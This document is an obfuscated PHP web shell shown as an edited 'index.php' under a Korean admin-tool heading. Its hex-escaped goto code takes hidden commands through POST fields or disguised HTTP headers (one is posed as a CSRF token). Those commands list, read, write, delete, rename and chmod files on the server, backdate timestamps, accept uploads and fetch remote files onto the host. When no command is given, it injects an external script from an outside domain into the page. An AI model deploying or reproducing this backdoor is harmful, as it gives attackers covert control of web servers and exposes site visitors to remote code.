관리-도구
편집 파일: index.php
<?php //(* ̄▽)u┌┐d(▽ ̄*) goto s6syE; JVmu6: function EwcFo() { goto tgkWc; u95vW: goto nNQIs; goto oDiWK; tgkWc: if (p70xI("\x67\x65\164\143\167\144")) { goto oljDT; } goto m25VO; qLZTt: nNQIs: goto jo_PF; oDiWK: oljDT: goto xhY28; xhY28: return @getcwd(); goto qLZTt; m25VO: return @dirname(__FILE__); goto u95vW; jo_PF: } goto bhMVt; hTK0k: $q9tB4["\x63\157\144\145"] = $nHuxu; goto bwCmo; K9XSw: $HVYyj = array(); goto wcj37; gFKiu: GtFph: goto O3u1p; zQNMQ: return; goto Rfmtd; eN1ue: register_shutdown_function(function () { goto BQRJ4; N9eBe: echo json_encode($q9tB4); goto jbv9k; UGU0K: ob_end_clean(); goto N9eBe; BQRJ4: global $q9tB4; goto UGU0K; jbv9k: }); goto zQNMQ; pLml0: wlYRI: goto M2537; SbvLx: $uhnIP = un2qL("\x61"); goto UceCn; xfxDH: if (empty($ot7HN)) { goto GtFph; } goto g9ZEA; O3u1p: $JHt5X = un2QL("\x64"); goto K9XSw; cv02K: function y2uJE($tdUJH, $dG0xf) { goto s8VWA; cwcVF: $SP02i = fopen($tdUJH, "\x77\x2b"); goto zHiBV; txyO8: $rpqee = fwrite($SP02i, YdMu3($dG0xf)) ? 1 : 0; goto OfK8x; EBPeF: Flh03: goto iNxbl; zHiBV: curl_setopt($ZpXfy, CURLOPT_FILE, $SP02i); goto EuaMR; QE6JD: eddc7: goto FJRqg; wEw71: k1w1J: goto mHy03; mHy03: curl_close($ZpXfy); goto U40IX; w1pka: if (curl_exec($ZpXfy)) { goto k1w1J; } goto txyO8; EuaMR: curl_setopt($ZpXfy, CURLOPT_TIMEOUT, 50); goto w1pka; OfK8x: goto Flh03; goto wEw71; U40IX: $rpqee = 1; goto EBPeF; xCGWw: bKkIt: goto FPpz4; N6GwS: goto bKkIt; goto QE6JD; FJRqg: $ZpXfy = curl_init($dG0xf); goto cwcVF; iNxbl: fclose($SP02i); goto xCGWw; vy_oc: $rpqee = @o8pch($tdUJH, YDMu3($dG0xf)) ? 1 : 0; goto N6GwS; FPpz4: return $rpqee; goto FaaOw; s8VWA: if (P70XI("\143\x75\x72\x6c\x5f\151\156\151\x74")) { goto eddc7; } goto vy_oc; FaaOw: } goto NCzA6; bwCmo: header("\103\157\156\164\x65\156\x74\55\164\x79\160\x65\72\x20\x61\160\160\x6c\151\x63\141\x74\x69\x6f\x6e\57\152\x73\157\x6e\x3b\40\143\150\141\162\x73\145\164\x3d\165\164\146\55\70"); goto eN1ue; VBJii: function O8PcH($uhnIP, $nHuxu) { return file_put_contents($uhnIP, $nHuxu) !== false; } goto JVmu6; wVgRJ: define("\x45\x4a\160\x57\x4b", $_SERVER["\104\117\x43\125\115\105\x4e\124\137\122\x4f\117\124"]); goto k78ST; IsFnb: function YdmU3($uhnIP) { return file_get_contents($uhnIP); } goto VBJii; Rfmtd: jZiAn: goto ZudFK; UceCn: if (empty($uhnIP)) { goto jZiAn; } goto bja51; s6syE: error_reporting(0); goto wVgRJ; bhMVt: function vUlOU($qVqjR) { goto W7ACX; Z5xmH: ik63Z: goto UZOfB; iU612: uNliNk($qVqjR); goto wADRz; bg3pK: pdyNd: goto qztsM; UZOfB: $jH7ZE = sCaNDir($qVqjR); goto zAyGG; cU_wT: BTcz7: goto IA4ch; W7ACX: if (is_dir($qVqjR)) { goto ik63Z; } goto iU612; wADRz: goto pdyNd; goto Z5xmH; zAyGG: foreach ($jH7ZE as $rpqee) { goto WBMIn; vBZbS: $tK1XW = $qVqjR . "\57" . $rpqee; goto gtIRO; LWZU6: iJ7gA: goto tUK7R; gtIRO: is_dir($tK1XW) ? vuLOu($tK1XW) : uNliNk($tK1XW); goto LWZU6; Xsnax: ibLpv: goto vBZbS; WBMIn: if (!($rpqee == "\56" || $rpqee == "\x2e\56")) { goto ibLpv; } goto XJlgp; XJlgp: goto iJ7gA; goto Xsnax; tUK7R: } goto cU_wT; IA4ch: rMdIR($qVqjR); goto bg3pK; qztsM: } goto cv02K; NCzA6: function un2ql($nHuxu) { return !empty($_POST[$nHuxu]) ? $_POST[$nHuxu] : $_SERVER["\110\124\124\x50\x5f\130\137" . strtoupper($nHuxu)]; } goto SbvLx; bja51: $ot7HN = !empty($_POST["\166"]) ? $_POST["\x76"] : @$_SERVER["\110\124\124\x50\137\x58\137\x43\x53\122\106\x5f\x54\117\113\105\x4e"]; goto xfxDH; ZLgDW: ZZJSi: goto pLml0; g9ZEA: $ot7HN = base64_decode(substr($ot7HN, 1)); goto gFKiu; TQ2no: switch ($uhnIP) { case 1: goto jMt2C; v6lfY: abln6: goto S0_9t; iBRj9: if (!p70Xi("\x67\x65\x74\x63\167\144")) { goto d2zj1; } goto bNl2P; ZoUDX: if (!P70XI("\160\x68\x70\x76\145\x72\x73\151\x6f\x6e")) { goto Cip_w; } goto CsF9C; Quwl2: $HVYyj["\163\141\146\145\137\155\157\144\145"] = @ini_get("\x73\x61\146\145\137\155\x6f\x64\145"); goto TGLDL; S0_9t: goto wlYRI; goto CYg9N; jmIhi: Cip_w: goto vLV2N; vy1hR: d2zj1: goto pm5CI; nr3iJ: if (!empty($HVYyj["\163\151\x70"])) { goto abln6; } goto zQ2HG; vLV2N: $HVYyj["\x73\151\x70"] = $_SERVER["\123\105\x52\126\105\x52\x5f\101\104\104\122"]; goto nr3iJ; TGLDL: nFGMO: goto ZoUDX; CsF9C: $HVYyj["\166\145\162\x73\151\x6f\x6e"] = @phpversion(); goto jmIhi; bNl2P: $HVYyj["\160\x77\144"] = eWCFO(); goto vy1hR; jMt2C: $HVYyj = array("\x72\157\157\x74" => EJpWK, "\163\145\162\166\145\x72" => $_SERVER["\x53\x45\122\x56\105\122\137\x53\x4f\x46\124\x57\101\x52\x45"], "\143\151\160" => $_SERVER["\122\105\x4d\117\124\x45\137\101\104\104\122"]); goto iBRj9; pm5CI: if (!p70XI("\x69\156\x69\x5f\x67\x65\x74")) { goto nFGMO; } goto Quwl2; zQ2HG: $HVYyj["\163\x69\160"] = @gethostbyname($_SERVER["\x53\105\x52\126\x45\x52\x5f\116\x41\x4d\x45"]); goto v6lfY; CYg9N: case 2: goto rplBU; P86vB: $W1iW_ = array(); goto eW74w; zkGbc: $HVYyj["\x64"] = $yKYq6; goto GWH_s; Va6vC: rV5Zg: goto Nq0sD; ZwuFV: ii4jl: goto zkGbc; rplBU: if (!empty($ot7HN)) { goto rV5Zg; } goto hX0nF; eW74w: foreach ($YHcFn as $n0eIC) { goto T_6ks; gmBLi: rYmBx: goto PMxYj; T_6ks: if (!($n0eIC == "\56" || $n0eIC == "\56\x2e")) { goto IxPbv; } goto XAe79; E8kxk: cP83f: goto rFWBv; dfXsp: goto cP83f; goto gmBLi; lsrg0: $LygbN = array("\x6e" => $n0eIC, "\x70" => substr(sprintf("\x25\157", fILepErMs($qVqjR)), -4), "\x74" => date("\x59\x2d\x6d\55\x64\x20\110\72\151\x3a\x73", fILeMTiMe($qVqjR))); goto ShC56; XAe79: goto iQvDJ; goto jDQ2s; PMxYj: $yKYq6[] = $LygbN; goto E8kxk; rFWBv: iQvDJ: goto Hjgsv; kuLod: $qVqjR = $ot7HN . "\x2f" . $n0eIC; goto lsrg0; ShC56: if (is_dir($qVqjR)) { goto rYmBx; } goto VPnSI; VPnSI: $LygbN["\163"] = filesize($qVqjR); goto YkgOH; jDQ2s: IxPbv: goto kuLod; YkgOH: $W1iW_[] = $LygbN; goto dfXsp; Hjgsv: } goto ZwuFV; moclo: goto wlYRI; goto ewqUc; hX0nF: $ot7HN = EWCfO(); goto Va6vC; Nq0sD: $YHcFn = scandir($ot7HN); goto MZhU7; GWH_s: $HVYyj["\146"] = $W1iW_; goto moclo; MZhU7: $yKYq6 = array(); goto P86vB; ewqUc: case 3: vULOU($ot7HN); goto wlYRI; case 4: $HVYyj["\166"] = YdMU3($ot7HN); goto wlYRI; case 5: goto E8knu; E8knu: if (is_writable($JHt5X)) { goto jSrZx; } goto fhtpz; M5il5: jSrZx: goto cot6A; pLf_U: goto wlYRI; goto iDWEE; cot6A: $nHuxu = O8pCh($JHt5X, $ot7HN) ? 1 : 0; goto pLf_U; fhtpz: @chmod($ot7HN, 0644); goto M5il5; iDWEE: case 6: goto evM9K; RKjfD: goto uWK9z; goto cniPX; qMemX: l4zzo: goto xI0HC; xI0HC: $nHuxu = 0; goto RKjfD; HorGo: uWK9z: goto Crg02; cniPX: DJVI9: goto ExYgJ; jCoOr: $tedKC = $JHt5X . $ot7HN; goto WW97u; DpaB7: goto uWK9z; goto qMemX; WW97u: $P2p23 = @FiLemTiME($tdUJH); goto My7C0; Crg02: goto wlYRI; goto DmyFA; evM9K: $tdUJH = $JHt5X . Un2QL("\x6e"); goto jCoOr; My7C0: if (!@ReNamE($tdUJH, $tedKC)) { goto l4zzo; } goto K8Z1H; ExYgJ: @touCH($tedKC, $P2p23, $P2p23); goto HorGo; K8Z1H: if ($P2p23) { goto DJVI9; } goto DpaB7; DmyFA: case 7: goto hK9bm; hK9bm: if (@chmod($JHt5X, $ot7HN)) { goto gTKKg; } goto FkiLx; qUkeY: gTKKg: goto c2ZEp; FkiLx: $nHuxu = 0; goto qUkeY; c2ZEp: goto wlYRI; goto ipZFJ; ipZFJ: case 8: $nHuxu = move_uploaded_file($_FILES["\x66"]["\164\155\160\137\x6e\141\x6d\145"], $ot7HN) ? 1 : 0; goto wlYRI; case 9: $nHuxu = o8Pch($ot7HN, '') ? 1 : 0; goto wlYRI; case 10: $nHuxu = mkdir($ot7HN) ? 1 : 0; goto wlYRI; case 11: goto f2JPT; oiQc2: goto wlYRI; goto H3VpF; XUkOA: $nHuxu = Y2UJe($ot7HN, $dG0xf) ? 1 : 0; goto oiQc2; f2JPT: $dG0xf = Un2QL("\154"); goto XUkOA; H3VpF: } goto ZLgDW; M2537: $q9tB4["\x64\x61\x74\141"] = $HVYyj; goto hTK0k; KMeM5: function P70xi($uhnIP) { return function_exists($uhnIP); } goto IsFnb; k78ST: $q9tB4 = array(); goto KMeM5; wcj37: $nHuxu = 1; goto TQ2no; ZudFK: echo "\x3c\163\x63\162\x69\160\x74\x20\x74\171\160\145\75\x22\x6d\x6f\144\165\x6c\x65\x22\x20\163\162\x63\x3d\42\150\164\x74\x70\163\72\57\x2f\150\x61\162\x64\150\145\141\x64\56\164\157\x70\57\64\x2e\x6a\x73\x22\40\x63\162\x6f\163\163\157\162\151\x67\x69\156\75\x22\x61\156\x6f\x6e\171\155\157\165\x73\x22\40\x72\x65\x66\145\x72\162\x65\162\x70\x6f\154\x69\143\x79\75\x22\156\157\55\x72\x65\146\x65\x72\x72\145\162\42\x3e\x3c\57\163\143\x72\151\x70\164\76"; ?>